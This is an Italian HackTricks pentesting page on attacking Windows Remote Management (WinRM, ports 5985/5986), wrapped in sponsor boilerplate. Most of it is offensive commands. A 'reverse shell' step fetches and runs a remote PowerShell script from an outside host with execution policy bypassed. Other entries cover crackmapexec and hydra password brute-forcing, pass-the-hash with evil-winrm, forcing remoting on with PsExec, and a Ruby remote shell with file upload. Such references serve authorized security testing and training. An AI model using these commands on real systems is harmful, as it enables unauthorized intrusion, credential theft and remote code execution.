# 5985,5986 - Test di penetrazione di WinRM
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! **Approfondimenti sull'hacking**\ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking **Notizie sull'hacking in tempo reale**\ Resta aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale **Ultimi Annunci**\ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi! ## WinRM [Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) è evidenziato come un **protocollo di Microsoft** che consente la **gestione remota dei sistemi Windows** tramite HTTP(S), sfruttando SOAP nel processo. È fondamentalmente alimentato da WMI, presentandosi come un'interfaccia basata su HTTP per le operazioni di WMI. La presenza di WinRM su una macchina consente una semplice amministrazione remota tramite PowerShell, simile a come funziona SSH per altri sistemi operativi. Per determinare se WinRM è operativo, è consigliabile controllare l'apertura di porte specifiche: * **5985/tcp (HTTP)** * **5986/tcp (HTTPS)** Una porta aperta dalla lista sopra indica che WinRM è stato configurato, permettendo quindi tentativi di avviare una sessione remota. ### **Avvio di una sessione WinRM** Per configurare PowerShell per WinRM, entra in gioco il cmdlet `Enable-PSRemoting` di Microsoft, impostando il computer per accettare comandi remoti di PowerShell. Con accesso elevato a PowerShell, i seguenti comandi possono essere eseguiti per abilitare questa funzionalità e designare qualsiasi host come attendibile: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` Questo approccio prevede l'aggiunta di un carattere jolly alla configurazione `trustedhosts`, un passaggio che richiede una considerazione cauta a causa delle sue implicazioni. È anche notato che potrebbe essere necessario modificare il tipo di rete da "Pubblica" a "Lavoro" sulla macchina dell'attaccante. Inoltre, WinRM può essere **attivato a distanza** utilizzando il comando `wmic`, come dimostrato di seguito: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da remoto. ### Verifica della configurazione Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, ci si aspetta di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che mostrano l'output atteso per un target configurato rispetto a uno non configurato: * Per un target che **è** correttamente configurato, l'output sarà simile a questo: ```bash Test-WSMan ``` La risposta dovrebbe contenere informazioni sulla versione del protocollo e wsmid, che indicano che WinRM è configurato correttamente. ![](<../.gitbook/assets/image (582).png>) * Al contrario, per un target **non** configurato per WinRM, ciò comporterebbe l'assenza di informazioni dettagliate, evidenziando la mancanza di una corretta configurazione di WinRM. ![](<../.gitbook/assets/image (458).png>) ### Eseguire un comando Per eseguire `ipconfig` in remoto su una macchina di destinazione e visualizzarne l'output fare: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../.gitbook/assets/image (151).png>) Puoi anche **eseguire un comando della tua console PS attuale tramite** _**Invoke-Command**_. Supponiamo che tu abbia localmente una funzione chiamata _**enumeration**_ e vuoi **eseguirla in un computer remoto**, puoi fare: ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Esegui uno Script ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Ottenere una shell inversa ```powershell Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Ottenere una sessione PS Per ottenere una shell interattiva di PowerShell, utilizzare `Enter-PSSession`: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) # Enter Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username] ## Bypass proxy Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) # Save session in var $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess ## Background current PS session Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...) ``` ![](<../.gitbook/assets/image (1009).png>) **La sessione verrà eseguita in un nuovo processo (wsmprovhost) all'interno del "computer vittima"** ### **Forzare l'apertura di WinRM** Per utilizzare PS Remoting e WinRM ma il computer non è configurato, è possibile abilitarlo con: ```powershell .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Salvataggio e Ripristino delle sessioni Questo **non funzionerà** se il **linguaggio** è **vincolato** nel computer remoto. ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password) #You can save a session inside a variable $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)] #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` All'interno di queste sessioni è possibile caricare script PS utilizzando _Invoke-Command_ ```powershell Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Errori Se trovi il seguente errore: `enter-pssession : La connessione al server remoto 10.10.10.175 non è riuscita con il seguente messaggio di errore : Il client WinRM non può elaborare la richiesta. Se lo schema di autenticazione è diverso da Kerberos, o se il computer client non è associato a un dominio, allora il trasporto HTTPS deve essere utilizzato o la macchina di destinazione deve essere aggiunta alla configurazione TrustedHosts. Utilizzare winrm.cmd per configurare TrustedHosts. Si noti che i computer nell'elenco TrustedHosts potrebbero non essere autenticati. È possibile ottenere ulteriori informazioni eseguendo il seguente comando: winrm help config. Per ulteriori informazioni, consultare l'argomento della Guida about_Remote_Troubleshooting.` Il tentativo sul client (informazioni da [qui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): ```ruby winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ```
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug! **Approfondimenti sull'Hacking**\ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking **Notizie sull'Hacking in Tempo Reale**\ Resta aggiornato sul mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale **Ultime Comunicazioni**\ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi! ## Connessione WinRM in Linux ### Forza Bruta Attenzione, forzare WinRM potrebbe bloccare gli utenti. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt #Just check a pair of credentials # Username + Password + CMD command execution crackmapexec winrm -d -u -p -x "whoami" # Username + Hash + PS command execution crackmapexec winrm -d -u -H -X '$PSVersionTable' #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm ``` ### Utilizzo di evil-winrm ```ruby gem install evil-winrm ``` Leggi la **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` Per utilizzare evil-winrm per connettersi a un **indirizzo IPv6** crea una voce all'interno di _**/etc/hosts**_ impostando un **nome di dominio** sull'indirizzo IPv6 e connettiti a tale dominio. ### Passa l'hash con evil-winrm ```ruby evil-winrm -u -H -i ``` ![](<../.gitbook/assets/image (680).png>) ### Utilizzo di una macchina PS-docker ``` docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` ### Utilizzo di uno script ruby **Codice estratto da qui:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/) ```ruby require 'winrm-fs' # Author: Alamot # To upload a file type: UPLOAD local_path remote_path # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt # https://alamot.github.io/winrm_shell/ conn = WinRM::Connection.new( endpoint: 'https://IP:PORT/wsman', transport: :ssl, user: 'username', password: 'password', :no_ssl_peer_verification => true ) class String def tokenize self. split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/). select {|s| not s.empty? }. map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')} end end command="" file_manager = WinRM::FS::FileManager.new(conn) conn.shell(:powershell) do |shell| until command == "exit\n" do output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") print(output.output.chomp) command = gets if command.start_with?('UPLOAD') then upload_command = command.tokenize print("Uploading " + upload_command[1] + " to " + upload_command[2]) file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path| puts("#{bytes_copied} bytes of #{total_bytes} bytes copied") end command = "echo `nOK`n" end output = shell.run(command) do |stdout, stderr| STDOUT.print(stdout) STDERR.print(stderr) end end puts("Exiting with code #{output.exitcode}") end ``` ## Shodan * `port:5985 Microsoft-HTTPAPI` ## References * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) ## Comandi Automatici di HackTricks ``` Protocol_Name: WinRM #Protocol Abbreviation if there is one. Port_Number: 5985 #Comma separated if there is more than one. Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for WinRM Note: | Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI. sudo gem install winrm winrm-fs colorize stringio git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’ https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/ ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/ ^^so you can upload binary's from that directory or -s to upload scripts (sherlock) menu invoke-binary `tab` #python3 import winrm s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) https://book.hacktricks.xyz/pentesting/pentesting-winrm Entry_2: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` ​
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug! **Approfondimenti sull'Hacking**\ Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking **Notizie sull'Hacking in Tempo Reale**\ Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale **Ultime Annunci**\ Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.